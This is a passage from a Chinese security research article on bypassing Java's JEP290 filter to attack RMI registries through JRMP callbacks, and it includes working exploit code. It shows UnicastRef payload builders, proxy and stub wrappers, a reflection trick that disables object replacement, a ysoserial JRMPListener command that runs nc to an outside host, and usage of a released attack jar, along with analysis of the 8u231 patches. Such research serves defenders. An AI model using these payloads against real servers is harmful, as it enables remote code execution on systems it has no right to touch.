调用栈,应该是由于服务端线程处理的特性（？）发生了变化，但是最后核心部分是没问题的。（UnicastRef的readExternal处作为入口下断点也是可以看到的，但是之后会跑偏，最后再到这部分）
> 本地实验发现一个有趣的地方，这里会不断循环，一直请求我们恶意JRMP-> Listener，从而不断完成远程代码执行的情况。原因应该是因为分析代码的时候的while循环导致的（这就是我们反序列化触发栈发生变动的原因。），非常有趣，仿佛一个天然发心跳包的木马一样。
知道服务端反序列化处的触发流程之后，我们来看payload的构造。
一个基础的可以指定连接目标的UnicastRef对象：
//让受害者主动去连接的攻击者的JRMPlister的host和port
public static UnicastRef generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
如果这个对象在目标服务器反序列化成功了，就可以顺着之前分析的反序列化过程向外发起连接。 **但是如何让这个对象反序列化呢？** 还需要进一步的封装。
#### 与bind操作进行拼接
我们的目标是：将UnicastRef对象封装进入`register.bind(String,Remote)`的Remote参数中，从而在反序列化Remote参数的时候因为反序列化的递归的特性，进行UnicastRef对象的反序列化。那又回归到了前面讨论过的问题，如何将UnicastRef对象封装成Remote类型：
1. 压根不封装，跟Barmie工具一样自实现通讯协议，直接发送UnicastRef（因为其实只有客户端上层函数需要remote类型的输入，服务端并没有要求是remote类型，都会反序列化）
2. 跟RMIRegisterExploit一样，使用 **动态代理** 来实现封装
回一下动态代理封装的原理：将我们的payload放在拦截器的类参数中，然后封装拦截器成Remote类型，反序列化的时候就会反序列化拦截器里面的payload的参数，从而形成反序列化。
但是跟之前不同的是：没有白名单的时候我们可以用到AnnotationInvocationHandler装载UnicastRef对象，再把它动态代理变成Remote对象。
但是在JEP290之后有了白名单限制，AnnotationInvocationHandler对象被禁了。
我们需要用到
3. 找一个同时继承实现两者的类或者一个实现Remote，并将UnicastRef类型作为其一个字段的类。这样只需要把我们的UnicastRef对象塞入这个类中，然后直接塞进`register.bind(String,Remote)`中就可以了。
##### 1.绕过客户端-自实现协议
第一类实现bind底层协议，太过底层，感觉可以根据Barmie改，但是有点磕不动，放放。
> 但是在最后我们还是以两种方式自实现了lookup的协议。
##### 2.动态代理-自定义
代码参考github-Bypass290_proxy.java
我们自定义一个PocHandler拦截器：
public static class PocHandler implements InvocationHandler, Serializable {
private RemoteRef ref;//来放我们的UnicastRef对象
protected PocHandler(RemoteRef newref) {//构造方法，来引入UnicastRef
ref = newref;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return this.ref //只是为了满足拦截类的格式，随便写
}
}
把生成UnicastRef放入PocHandler拦截器，然后转变为Remote类型。
public static void main(String[] args) throws Exception{
String jrmpListenerHost = "127.0.0.1";
int jrmpListenerPort = 1199;
UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Remote.class}, new PocHandler(unicastRef));
Registry registry = LocateRegistry.getRegistry(1099);//本地测试
registry.bind("2333", remote);
}
老样子JRMP-listener一开，然后打ServerAndRegister
完美，没问题
>
> 同时这里存在一个非常神奇的问题，本以为客户端自定义一个PocHandler拦截器，rmi服务端是不会有这个拦截器的，所以在反序列化的时候会因为没有类而报错。但是实际上远程利用是可以成功的。
>
> 从报错中我们也可以看到，服务端确实找不到这个类，但是会触发代码执行，之前bind绑定也说过这个问题，推测由于先反序列化类中的变量，然后恢复成类导致的。
##### 2.动态代理-RemoteObjectInvocationHandler（Ysoserial-Payload-JRMPClient）
> 这其实就是Ysoserial-Payload-JRMPClient模块生成的payload的实现逻辑
假如不自定义一个拦截器，去jdk环境中寻找也是可以找到的—— **RemoteObjectInvocationHandler**
1. 它可以填入一个UnicastRef对象（这表示我们的payload可以塞进去）
2. 同时是一个 拦截器。（这表示我们可以通过动态代理把他改成任意的接口）
public class RemoteObjectInvocationHandler
extends RemoteObject
implements InvocationHandler //表示是一个拦截器
{
//构造函数，传入一个RemoteRef接口类型的变量
public RemoteObjectInvocationHandler(RemoteRef ref) {
super(ref);
if (ref == null) {
throw new NullPointerException();
}
}
//而UnicastRef类型实现RemoteRef接口，即可以传入
//public class UnicastRef implements RemoteRef {
`super(ref);`：
public abstract class RemoteObject implements Remote, java.io.Serializable {
/** The object's remote reference. */
transient protected RemoteRef ref;
//super(ref)的内容，可以成功塞入变量中
protected RemoteObject(RemoteRef newref) {
ref = newref;
}
然而这里会有一个神奇的问题，我们知道`transient`修饰的变量在正常的序列化过程中是不会被序列化的（会为空）。那我们特制的ref不就因为无论怎么样都不序列化了？
但理论的确如此，但实际不是的，因为我们还知道如果这个类对于writeobject、readobject进行了重写，就会进入这个方法进行特殊的逻辑执行。
`java.rmi.server.RemoteObject#writeObject`
private void writeObject(java.io.ObjectOutputStream out)
throws java.io.IOException, java.lang.ClassNotFoundException
{
if (ref == null) {
throw new java.rmi.MarshalException("Invalid remote object");
} else {
String refClassName = ref.getRefClass(out);
if (refClassName == null || refClassName.length() == 0) {
//不会进入的地方....
} else {
/*
* Built-in reference class specified, so delegate
* to reference to write out its external form.
*/
//我们的序列化操作会进入到这里对于ref进行序列化
out.writeUTF(refClassName);
ref.writeExternal(out);
//在这里通过writeExternal来写入了ref
//（transient类型的变量可以通过writeExternal来写入序列化）
}
}
}
在Remoteobject的writeobject方法中可以完成对于同时，我们也可以通过把序列化结果写入文件看序列化结果来证明ref的序列化不会受到影响。
那么在确定 **RemoteObjectInvocationHandler** 可以填入一个 **UnicastRef对象**
并且不影响序列化之后。接下来就是利用动态代理进行类型转变
public class Bypass290 {
//省略generateUnicastRef方法
public static void main(String[] args) throws Exception{
//获取UnicastRef对象
String jrmpListenerHost = "127.0.0.1";//本地测试
int jrmpListenerPort = 1199;
UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
//通过构造函数封装进入RemoteObjectInvocationHandler
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
//使用动态代理改变obj的类型变为Registry，这是Remote类型的子类
//所以接下来bind可以填入proxy
Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(),
new Class[]{Registry.class}, obj);
//触发漏洞
Registry registry = LocateRegistry.getRegistry(1099);//本地测试
registry.bind("hello", proxy);//填入payload
}
}
##### 3.找一个带UnicastRef类型参数的实现Remote接口的类
那么第三种情况，直接不用动态代理构造去弄成Remote接口，直接找一个实现Remote接口的类。
1. 这个类它可以填入一个UnicastRef对象（这表示我们的payload可以塞进去）
2. 这个类要是Remote接口的
###### RemoteObjectInvocationHandler
其实 **RemoteObjectInvocationHandler** 本身就是一个实现了Remote接口的类。
//RemoteObjectInvocationHandler定义，继承自RemoteObject
public class RemoteObjectInvocationHandler
extends RemoteObject
implements InvocationHandler
//RemoteObject定义，实现了Remote接口
public abstract class RemoteObject implements Remote, java.io.Serializable {
所以上面 **ysoserial-payload-JRMPClient**
中利用动态代理修改RemoteObjectInvocationHandler接口是多余的。
直接注释了动态代理操作也可以打。
public static void main(String[] args) throws Exception{
//获取UnicastRef对象
String jrmpListenerHost = "127.0.0.1";//本地测试
int jrmpListenerPort = 1199;
UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
//通过构造函数封装进入RemoteObjectInvocationHandler
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
//使用动态代理改变obj的类型变为Registry，这是Remote类型的子类
//所以接下来bind可以填入proxy 注释
// Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(),
// new Class[]{Registry.class}, obj);
//触发漏洞
Registry registry = LocateRegistry.getRegistry(1099);//本地测试
// registry.bind("hello", proxy);//填入payload
registry.bind("hello", obj);//填入payload
}
可以发现我们的RemoteObjectInvocationHandler继承自RemoteObject。
1. 而UnicastRef对象是在RemoteObject类中赋值的
2. RemoteObject类又是一个Remote接口
那么理论上来说所有RemoteObject的子类都是可以的，我们可以通过ctrl+alt+B来查看子类。
我们选取 **RMIConnectionImpl_Stub** 和 **UnicastRemoteObject** 来举例说明
###### RMIConnectionImpl_Stub
RMIConnectionImpl_Stub是可以利用的。
是Remote接口：
//RMIConnectionImpl_Stub类定义，继承自RemoteStub类
public final class RMIConnectionImpl_Stub
extends java.rmi.server.RemoteStub
implements javax.management.remote.rmi.RMIConnection{
//java.rmi.server.RemoteStub 定义，继承自RemoteObject类
abstract public class RemoteStub extends RemoteObject {
//RemoteObject定义，实现Remote接口
public abstract class RemoteObject implements Remote, java.io.Serializable {
利用构造方法可以容纳一个UnicastRef对象：
//javax.management.remote.rmi.RMIConnectionImpl_Stub#RMIConnectionImpl_Stub 构造方法
public RMIConnectionImpl_Stub(java.rmi.server.RemoteRef ref) {
super(ref);
}
//java.rmi.server.RemoteStub#RemoteStub(java.rmi.server.RemoteRef) 构造方法
protected RemoteStub(RemoteRef ref) {
super(ref);
}
//java.rmi.server.RemoteObject#RemoteObject(java.rmi.server.RemoteRef) 构造方法
protected RemoteObject(RemoteRef newref) {
ref = newref;
}
攻击代码就很简单，跟RemoteObjectInvocationHandler完全一致改个参数就完事了，放个图表示可以：
> 详细代码参考github Bypass290.java
###### UnicastRemoteObject
UnicastRemoteObject实际上满足我们说的所有条件，但是是不可以利用的。
它的确是Remote接口：
//java.rmi.server.UnicastRemoteObject定义
public class UnicastRemoteObject extends RemoteServer {
//java.rmi.server.RemoteServer定义
public abstract class RemoteServer extends RemoteObject//这个就是了 不赘述
{
同样由于继承自RemoteObject，所以同样有一个RemoteObject类中的ref参数，但是在UnicastRemoteObject类中，没有使用到。
我们实际上也是可以操控这个变量的，之前是通过构造函数直接赋值，现在可以通过反射机制来赋值，实现如下：
//3.UnicastRemoteObject
//3.1.获取到UnicastRemoteObject的实例
Class clazz = Class.forName("java.rmi.server.UnicastRemoteObject");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
UnicastRemoteObject UnicastRemoteObject_obj =(UnicastRemoteObject)m.newInstance();
//3.2.修改实例的ref参数（使用yso中的模块）
Reflections.setFieldValue(UnicastRemoteObject_obj,"ref",ref);
可以对比下三个对象的内容，都包含了我们修改的ref对象，没问题。
但是在实际利用的时候， **使用UnicastRemoteObject是不可以的！**
一开始我也非常的疑惑：这不科学！，但是代码是死肥宅最忠实的伙伴，它是不会骗人的。
>
> [bsmali4师傅的一次攻击内网RMI服务的深思](http://www.codersec.net/2018/09/一次攻击内网rmi服务的深思/)这篇文章中发现了这个问题，但是他的结论是由于ref是一个transient类型的变量，不会反序列化。
>
> 但实际上可以攻击的RMIConnectionImpl_Stub类也是使用transient类型的ref。所以这个结论是错误的
其实关键点在于：
* 我们默认理解为序列化过程是对于我们的恶意object进行writeobject，`RMIConnectionImpl_Stub.writeobject()`、`UnicastRemoteObject.writeobject()`那么当然是序列化的。（实际上也可以，在github的Bypass290代码中尝试序列化写入了文件中进行查看，结果也是把正确的ref值写入了，就不贴图了）
* 但是实际上客户端序列化的过程为：ObjectOutput.writeobject(我们的恶意object)
那么实际上这边的序列化逻辑与我们想象的有点出入， **他会去替换掉我们辛辛苦苦生成的object**
。这是导致同是继承RemoteObject有的行，有的不行的关键。
我们在`java.io.ObjectOutputStream#writeObject0`打入断点，使用UnicastRemoteObject对象来攻击，细看：
private void writeObject0(Object obj, boolean unshared)
throws IOException
{
boolean oldMode = bout.setBlockDataMode(false);
depth++;
try {
//一大堆类型检查，都不会通过
// 想要去检查替换我们的object
Object orig = obj;
Class<?> cl = obj.getClass();
ObjectStreamClass desc;
for (;;) {
//查找相关内容
}
if (enableReplace) {//都是true
//!!!!!!!!!!!此处替换了我们的对象！！！！！！！！！！
Object rep = replaceObject(obj);
if (rep != obj && rep != null) {
cl = rep.getClass();
desc = ObjectStreamClass.lookup(cl, true);
}
obj = rep;
}
//一些替换后的处理，不太重要
// 通过类进行分配序列化过程
if (obj instanceof String) {
writeString((String) obj, unshared);
} else if (cl.isArray()) {
writeArray(obj, desc, unshared);
} else if (obj instanceof Enum) {
writeEnum((Enum<?>) obj, desc, unshared);
} else if (obj instanceof Serializable) {
//进入此处再开始正常的序列化
writeOrdinaryObject(obj, desc, unshared);
//...省略...
}
UnicastRemoteObject在此处的情况，发生了变化：
RMIConnectionImpl_Stub在此处的情况，没有发生变化：
replaceobject替换的方法具体在`sun.rmi.server.MarshalOutputStream#replaceObject`中
//var1就是我们想要序列化的类
protected final Object replaceObject(Object var1) throws IOException {
//这个类要是Remote接口的，并且不是RemoteStub接口的，为true
if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
//这里会去获取到新的对象来替换
//UnicastRemoteObject走的就是这条路
Target var2 = ObjectTable.getTarget((Remote)var1);
if (var2 != null) {
return var2.getStub();
}
}
//RMIConnectionImpl_Stub走的就是这条路
return var1;
}
那么就很明显了，之前我们觉得只要是remote接口就行了，这个定义有问题，实际上要满足以下两个条件的类我们才能用：
1. 是Remote接口
2. 并且是RemoteStub接口
> 这里的逻辑关系需要倒一下，是Remote 又不是RemoteStub是不行的，又要是Remote的
那么我们就找到了为啥RMIConnectionImple_Stub可以，但是UnicastRemoteObject不行的原因。
找Remote的继承类就可以轻而易举找到跟RMIConnectionImple_Stub类似的其他类。
这些理论都是可以的，就不一一实验了。
###### 新的小问题-RemoteObjectInvocationHandler为啥又可以了
但是我们又会发现一开始就成功的RemoteObjectInvocationHandler并不满足我们的出来的规定，它是Remote接口但是不是RemoteStub接口呀。
继续调试
发现虽然它不满足条件进入了if，但是获取到的替换类var2为空，又返回原本的值了。
至于为什么会获取到的结果var2为空，是因为在getTarget中会去内部查询，因为InvocationHandler的特性所以类型转化不到原始类所以为空（胡说八道中，反正跟InvocationHandler脱不了干系）
至此我们就完全搞清楚了找一个带UnicastRef类型参数的实现Remote接口的类的时候需要：
1. 这个类它可以填入一个UnicastRef对象（这表示我们的payload可以塞进去）
2. 这个类要是Remote接口的并且是RemoteStub接口
3. 这个类要是Remote接口并且不是RemoteStub接口要是获取不到原来的类也可以，比如RemoteInvocationHandler
###### 绕过序列化过程中的替换使所有类均可用于攻击
从[国外老哥的文章](https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/)中得到的思路。
在分析中我们发现 **ObjectOutputStream对象流** 中的 **enableReplace** 全局变量决定了我们的对象是否会被替换：
public class ObjectOutputStream
extends OutputStream implements ObjectOutput, ObjectStreamConstants
{
/** if true, invoke replaceObject() */
private boolean enableReplace;
private void writeObject0(Object obj, boolean unshared)
throws IOException
{
...
if (enableReplace) {//都是true
...
}
...
}
那么其实我们只要用反射机制，在序列化前把out对象的 **enableReplace属性修改为false**
就可以了(这需要重新实现bind查询，来进行修改)。大概如下：
java.io.ObjectOutput out = call.getOutputStream();
//反射修改enableReplace
ReflectionHelper.setFieldValue(out, "enableReplace", false);
out.writeObject(obj); // 写入我们的对象
>
> 这些绕过我都已经在[ysomap](https://github.com/wh1t3p1g/ysomap)中完成了实现。（没错看到后面，你会发现一开始打算自己做的，然后发现ysomap已经完成了一部分，秉着打不过他就加入他的原则，开始为ysomap添砖加瓦）
##### 4.带UnicastRef类型参数的实现Remote接口的类—自定义
但是如果我们回忆之前的出的结论：
>
> 反序列化打服务端，可以使用一个服务端不存在的类。在这个服务端不存在的类的变量中放入payload，这个payload会在服务端反序列化这个不存在的类的时候触发，虽然会报错，但是会触发。
我们实际上之前做的所有的研究都是无用功，因为我们压根不用去找一个存在于JDK中的类去满足条件来进行攻击，而是自己写一个就可以了。
这个结论让我非常沮丧，我也希望有人告诉我不是这样的，但是实验结果就是如此，他就是可以攻击成功。我甚至打包了没有包含自定义的类的jar放到远程服务器上，但是仍然可以。
实现一个可以序列化的remote接口的类，然后正常攻击
public static class lala_remote implements Remote, java.io.Serializable {
private RemoteRef ref;
public lala_remote(UnicastRef remoteref) throws Throwable {
ref=remoteref;
}
}
> 可以注意到不是RemoteStub接口，自实现的类会满足上卖弄整理的第三种情况，不会被替换对象。
又是报错报着找不到class，但是弹框成功。
远程的（用8u111）。
也是非常有趣，大家都是用已经写好的poc、ysoserial，但实际上.......随便搞搞就可以用了。
> 此处为ysomap添加了一个自定义类的模块RMIConnectCustomized，来证明可行性。
#### bind的局限性
好的，重新整理心情。来讨论随便的bind的局限性。
当我们在本地进行试验的时候，使用高于8u141的版本也是可以命令执行的。这会形成一种不受版本限制的错觉。
但实际上在远程攻击的时候，这种攻击是有局限性的。
1. 我们把github的代码打包一下，放到远程服务器上，运行靶机`java -cp RMIDeserialize.jar com.lala.ServerAndRegister`（服务器会有危险）
2. 服务端再起一个JRMP-Listener。`java -cp ysoserial.jar ysoserial.exploit.JRMPListener 11 CommonsCollections5 "nc 47.102.137.xxx:10000"`（用nc来表示命令执行。ps.讲道理不应该在靶机上起一个攻击者的攻击用服务，但是我没有更多的服务器了...）
3. `nc -lvvp 10000`服务器通过nc监听来判断命令执行是否成功
4. 本地Bypass290代码改成远程攻击端口
5. 运行Bypass290攻击
服务器8u131环境成功。
服务器8u161失败
回忆之前的说明，原因同样是bind操作中注册端对于服务端的地址验证。
那么根据之前的结论，我们可以通过lookup来替换bind操作来进行攻击，这样可以绕过bind操作中对于服务端得地址验证。
### 与RMI客户端反序列化攻击RMI服务端-Lookup结合
这边参照Barmie的bind攻击思路，使用拦截器来替换攻击包的字节码，来自己重构一个攻击包的字节码。这个思路非常底层和繁琐，但是理论上可以绕过所有客户端限制逻辑。
#### 基于Barmie拦截器的自实现
我把Barmie的拦截器逻辑拔了出来，放到了Github的RMI-Bypass290项目下。
在Barmie的原逻辑中，拦截器中字节码的拼接非常简单粗暴，他会保留一些包头固定格式，然后修改参数。通常都是直接复制成功的poc的16进制字节码，然后修改其中命令执行的16进制代码，再拼接进入数据包进行发送。比如CC的payload是这样：
private final String _header_chunk = "737200116a6176612e757469....";//开头的序列化信息
private final String _footer_chunk = "740004657865637571007e00....";//结尾的序列化信息
//开头塞进去
out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection));
//自定义添加要执行的String形式的命令
out.write(this.stringToUtf8ByteArray(cmd));
//结尾塞进去
out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection));
我们的Remote接口的对象原本也可以按照这个思路，找一个成功的数据包，然后修改其中的JRMP服务器回连IP和端口就行了。
但是对比JRMP服务器地址：888.888.888.888:8887、888.888.888.888:8888两次攻击数据包发现：
JRMP服务器回连IP可以简单进行修改，但是端口却是不可以显性直接进行修改的。
那么就尝试自己去构造一个序列化对象（由于要与攻击成功数据包进行对比，我们就是用序列化结构更通用的RMIConnectionImpl_Stub类。因为使用自实现类，不同地方包名会不一样不方便）
写完代码后，发现直接序列化不能正常利用攻击，与攻击成功数据包对比发现需要修正000078->00007078。（这里应该是不同的输入流对象对于序列化的处理不同导致的）
重新微调，在`payloads.BypassJEP290_RMIConnectionImpl_Stub#getBytes`中进行类实现。
//使用RMIConnectionImpl_Stub类
RMIConnectionImpl_Stub RMIConnectionImpl_Stub_obj = new RMIConnectionImpl_Stub(ref);
//序列化，同时修正000078->00007078
byte[] serial_Primary=serialize(RMIConnectionImpl_Stub_obj);
//除去aced开头（序列化开头）
byte[] serial_byte= new byte[serial_Primary.length-4];
System.arraycopy(serial_Primary, 4, serial_byte, 0, serial_byte.length);
//填入传输流
out.write(this.fixReferences(serial_byte));
完毕。打包成jar发布在github的release中了。
`java -jar RMI-Bypass290.jar 47.xx.xx.xx 1099 47.xx.xx.xx
1199`（前者攻击目标IP和端口，后者JRMP服务器IP和端口）直接测试服务端161版本。
#### 重实现lookup逻辑
虽然工具完成了，但是这么实现着实费劲，一开始以为压根没有人实现这个工具，最后发现wh1tp1g已经集成到他的[ysomap](https://github.com/wh1t3p1g/ysomap)中了（然后打不过他就加入了他=
=）.
而且实现的方法更为聪明，只是做了上层lookup函数的重写，这样子就实现起来就很简单简洁，且不用考虑底层字节的各种情况。
`ysomap.core.exploit.rmi.component.Naming#lookup`直接把原来的接口`lookup(String)`调成`lookup(Object)`（实现不是如此，逻辑是如此，数据包封装的逻辑实际上直接照搬过来就可以了）
//多加了个registry参数，然后自己实现部分固定值的获取
public static Remote lookup(Registry registry, Object obj)
throws Exception {
RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref");
long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash");
java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations");
try {
....//之后就跟原来的lookup一样了
//同时这里我还加入了绕过enableReplace，使UnicastRemoteObject可用
### 8u231的修复
选取了两个版本8u211b12和8u231b11进行测试，使用自定义类的payload模块，8u211可以攻击，8u231不能攻击。
> 其中8u231b11版本是从Oracle官网下载的。
>
> 如果从openjdk中查找更新的具体版本，那就是8u232b09（感谢wh1t3p1g）
>
> 其实一直没搞懂为啥这个版本号的问题，为啥openjdk里没有8u231呢，如果有人知道希望可以回复我谢谢。
先看测试结果。
对比JDK做了两处修复：
1. `sun.rmi.registry.RegistryImpl_Skel#dispatch`报错情况消除ref
2. `sun.rmi.transport.DGCImpl_Stub#dirty`提前了黑名单
#### 第一处修复
>
> 在openjdk中可以在线查看对比[8u232u8的RegistryImpl_Skel.java](https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/69c4f673b33e/src/share/classes/sun/rmi/registry/RegistryImpl_Skel.java)与[8u232u9的RegistryImpl_Skel.java](https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5456f24496f4/src/share/classes/sun/rmi/registry/RegistryImpl_Skel.java)
其实只有一行的区别，在每个动作比如lookup，bind等中都添加了一个逻辑：
**如果出现了序列化报错都会进入catch，执行`discardPedingRefs`**。
在`sun.rmi.transport.StreamRemoteCall#discardPendingRefs`中其实也就是做了一件事情，把我们之前装载的`incomingRefTable`清空
public void discardPendingRefs() {
this.in.discardRefs();//去下面
}
//sun.rmi.transport.ConnectionInputStream#discardRefs
void discardRefs() {
this.incomingRefTable.clear();//消除incomingRefTable里面我们的ref
}
那么很清楚假如我们的payload在序列化中发生了报错，那么我们想尽办法装载的ref就会被干掉。再回头看看我们的那么多种payload都会报错么？
1. **自定义类（动态代理或接口）** ：报错ClassNotFoundException
因为我们传入的类虽然会完成装载，但是在后续的序列化逻辑中肯定是会因为找不到我们的恶意类而发生ClassNotFoundException报错的。
被干掉了。
2. **动态代理转换接口或者找内置接口** ：报错ClassCastException
而其他的payload虽然因为都是有内置类的，这些内置类在序列化的时候`var9.readObject();`是没问题的。
但是这里还有一个类型转换的逻辑`var8 = (String)var9.readObject();`在类型转换的时候就会发生报错。
从而也被干掉了。
#### 第二处修复
实际上第一处修复已经完美修复了，但是还有第二处修复针对的是ref被触发的时候，即`var7.releaseInputStream();`
回顾`UnicastRef对象`这一小节，重新看我们POC触发的调用栈图的左下角，它必定会经过`sun.rmi.transport.DGCImpl_Stub#dirty`
>
> 在openjdk中可以在线查看对比[8u232u8的DGCImpl_Stub.java](https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/69c4f673b33e/src/share/classes/sun/rmi/transport/DGCImpl_Stub.java)与[8u232u9的DGCImpl_Stub.java](https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5456f24496f4/src/share/classes/sun/rmi/transport/DGCImpl_Stub.java)
在dirty方法中三个关键语句：
1. `this.ref.newCall`：发起JRMP请求
2. `var6.setObjectInputFilter(DGCImpl_Stub::leaseFilter);`：过滤
3. `this.ref.invoke()`：触发JRMP返回payload反序列化解析
把过滤器放在解析之前，那么JRMP请求是可以发起的，但是你最后命令执行的payload（比如CC）会被过滤器给干掉。
看下过滤器`sun.rmi.transport.DGCImpl_Stub#leaseFilter`：一样对长度、深度、黑名单做了限制
我们的payload用的是CC链，不在白名单范围内，于是GG。
if (var1.isPrimitive()) {
return Status.ALLOWED;
} else {
return var1 != UID.class && var1 != VMID.class && var1 != Lease.class && (var1.getPackage() == null || !Throwable.class.isAssignableFrom(var1) || !"java.lang".equals(var1.getPackage().getName()) && !"java.rmi".equals(var1.getPackage().getName())) && var1 != StackTraceElement.class && var1 != ArrayList.class && var1 != Object.class && !var1.getName().equals("java.util.Collections$UnmodifiableList") && !var1.getName().equals("java.util.Collections$UnmodifiableCollection") && !var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList") && !var1.getName().equals("java.util.Collections$EmptyList") ? Status.REJECTED : Status.ALLOWED;
}
## 来自An Trinh的另一种绕过JEP290的思路
今年2月份，[An Trinh的RMI注册端的Bypass方法](https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/)一文中提出了一种新的Bypass思路，这是一条 **与众不同的而又"鸡肋"** 的Gadgets。
> 上面这句话是一天前年幼无知的我写的，大胆而又无知的说"鸡肋"。一天之后回来想删掉，但是想想还是放着在下面打脸好了。
>
> 这条链比之前的都要牛逼可以继续绕过231修复，先按照这个思路看下去，提前膜拜大An Trinh佬。
为什么要说鸡肋呢，先回顾一下我们之前是如何绕过JEP290的：
**攻击者发送payload让RMI注册端发起一个JRMP请求去链接我们的JRMP服务器，然后接受并反序列化我们JRMP服务器返回的报错信息，反序列化的时候通过RMI注册端内部的利用链（比如CC）完成命令执行**
An Trinh的绕过思路还是这个套路，JRMP的部分一模一样没有改变，与我们之前不同的是 **如何让RMI注册端发起JRMP请求这一部分** 。
之前我们提出许多许多攻击方式：绕过客户端-自实现协议去封装、动态代理、UnicastRef类型参数实现Remote接口的类等等、甚至可以自定义一个符合要求的类来攻击。
但是回归到这些攻击方式，其本质都是利用：
1. **readobject反序列化的过程会递归反序列化我们的对象，一直反序列化到我们的UnicastRef类。**
2. **在readobejct反序列化的过程中填装UnicastRef类到`incomingRefTable`**
3. **在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求**
(后两步是发起JRMP请求的细节，在 UnicastRef对象 一节中有详细说到，可以粗糙的理解成readobject出发了JRMP查询也没事)
在这个本质的基础上，我们所做的、所解决的问题只是在：选择UnicastRef类包装或者不包装（包装是为了迎合JDK客户端底层的代码）、用jdk中已有的类包装还是自定义类包装，或者用动态代理包装还是原生接口包装，又再是用什么原生接口包装，有的包装不好用怎么办？巴拉巴拉的在处理这些问题。
* * *
但是An Trinh提出了一个新的思路来发起JRMP请求，不是利用 **readobject的递归-填装-触发** 的模式，而是
**readobject函数调用过程** 直接触发JRMP请求。
但是为什么说他鸡肋呢？因为他的payload攻击过程中：会 **在readobject函数中触发他的Gadgets发起JRMP连接**
，但是在完成后，又会回到我们的 **readobject的递归-填装-触发** 的模式中发起第二次JRMP连接。具体流程如下：
1. **readobject递归反序列化到payload对象中的UnicastRef对象，填装UnicastRef对象的ref到`incomingRefTable`**
2. **在根据readobject的第二个最著名的特性：会调用对象自实现的readobject方法，会执行UnicastRemoteObject的readObject，他的Gadgets会在这里触发一次JRMP请求**
3. **在releaseInputStream语句中从`incomingRefTable`中读取ref进行开始JRMP请求**
同时他Gadgets发起JRMP请求只会发起 **一次请求** ，而readobject的递归-填装-触发的JRMP请求，由于会检测DGC是否绑定成功会
**循环发起JRMP** ，形成天然的心跳木马。
那么这样对比看起来这个Gadgets就有一种画蛇添足的感觉，一种混KPI的鸡肋优雅感（ ~~天呐一天前的我竟然得出了如此羞耻的结论，辣鸡的傲慢~~
），这就是安全研究员么，爱了爱了。
但是反正让我找我是找不出来的，我们就来膜拜看看他的链在UnicastRemoteObject的readObject中是怎么做到JRMP请求的。
先给出ysomap里的封装过程：
public UnicastRemoteObject pack(Object obj) throws Exception {
//1.UnicastRef对象 -> RemoteObjectInvocationHandler
//obj是UnicastRef对象，先RemoteObjectInvocationHandler封装
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler((RemoteRef) obj);
//2. RemoteObjectInvocationHandler -> RMIServerSocketFactory接口
//RemoteObjectInvocationHandler通过动态代理封装转化成RMIServerSocketFactory
RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(),// classloader
new Class[] { RMIServerSocketFactory.class, Remote.class}, // interfaces to implements
handler// RemoteObjectInvocationHandler
);
//通过反射机制破除构造方法的可见性性质，创建UnicastRemoteObject实例
Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null); // 获取默认的
constructor.setAccessible(true);
UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);
//3. RMIServerSocketFactory -> UnicastRemoteObject
//把RMIServerSocketFactory塞进UnicastRemoteObject实例中
ReflectionHelper.setFieldValue(remoteObject, "ssf", serverSocketFactory);
return remoteObject;
}
看下漏洞触发调用栈，主要分成三个关键点：
从UnicastRemoteObject的readObject入口开始`java.rmi.server.UnicastRemoteObject#readObject`：
private void readObject(java.io.ObjectInputStream in)
throws java.io.IOException, java.lang.ClassNotFoundException
{
in.defaultReadObject();
reexport();//这里
}
`java.rmi.server.UnicastRemoteObject#reexport`:
private void reexport() throws RemoteException
{
if (csf == null && ssf == null) {
exportObject((Remote) this, port);
} else {
//payload是填充了ssf的,这里
exportObject((Remote) this, port, csf, ssf);
}
}
之后的调用链很长我们直接跳到`sun.rmi.transport.tcp.TCPEndpoint#newServerSocket`这里是第二个关键处动态代理的特性，跳转到拦截器的invoke（这里的动态代理是不仅用到了接口转换的特性，用到了拦截的特性！惊了！激动！）
`sun.rmi.transport.tcp.TCPEndpoint#newServerSocket`：
ServerSocket newServerSocket() throws IOException {
if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this);
}
Object var1 = this.ssf;
